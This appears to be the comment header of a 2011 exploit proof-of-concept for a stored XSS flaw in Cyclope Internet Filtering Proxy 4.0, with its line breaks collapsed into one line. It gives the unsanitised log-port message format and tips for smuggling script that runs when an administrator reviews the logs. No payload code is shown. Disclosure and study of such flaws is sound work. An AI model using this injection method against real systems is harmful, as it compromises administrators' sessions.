#!/usr/bin/python# Title: Cyclope Internet Filtering Proxy 4.0 - Stored XSS Vuln.# From: The eh?-Team || The Great White Fuzz (we're not sure yet)# Found by: loneferret# Software link: http://www.cyclope-series.com/download/index.aspx?p=2# Date Found: Oct 20th 2011# Tested on: Windows XP SP3 Professional / Windows Server 2008 R2 Standard# Tested with: Registered and Unregistered versions# Nod to the Exploit-DB Team# The Cyclope Internet Filtering Proxy is your basic white & black list website navigation filtering app.# It will log all of the client's activities such as visited web sites, the time etc.# There's an optional client application if the administrator wishes to acquire the computer name and user# information.# This XSS vulnerability is due to the fact that nothing is sanitized in the web-based management console.# The whitelist and blacklist patterns, for example, are vulnerable. As well as computer name and user fields # gathered via the logging port.# This PoC takes advantage of the "user" field (but also works with computer feild). One needs to send in the correct order:# <user>USER</user><computer>COMPUTER</computer><ip>IP ADDY</ip>\n to the default log port 8585.# None of these fileds are sanitized. So it's making this XSS a bit more interesing. # Atacking machine doesn't need the Cyclope client app installed.# Limited in what can be sent, a space will screw up any code you send. The HTML code will usually fix that problem,# as well as all the other HTML codes for quotes and so on.# So we can remotely inserted our evil XSS, and have it executed when the administrator looks over the logs.# As always, if anyone wants to take this PoC to the next level, be my guest.# Have fun,# loneferret
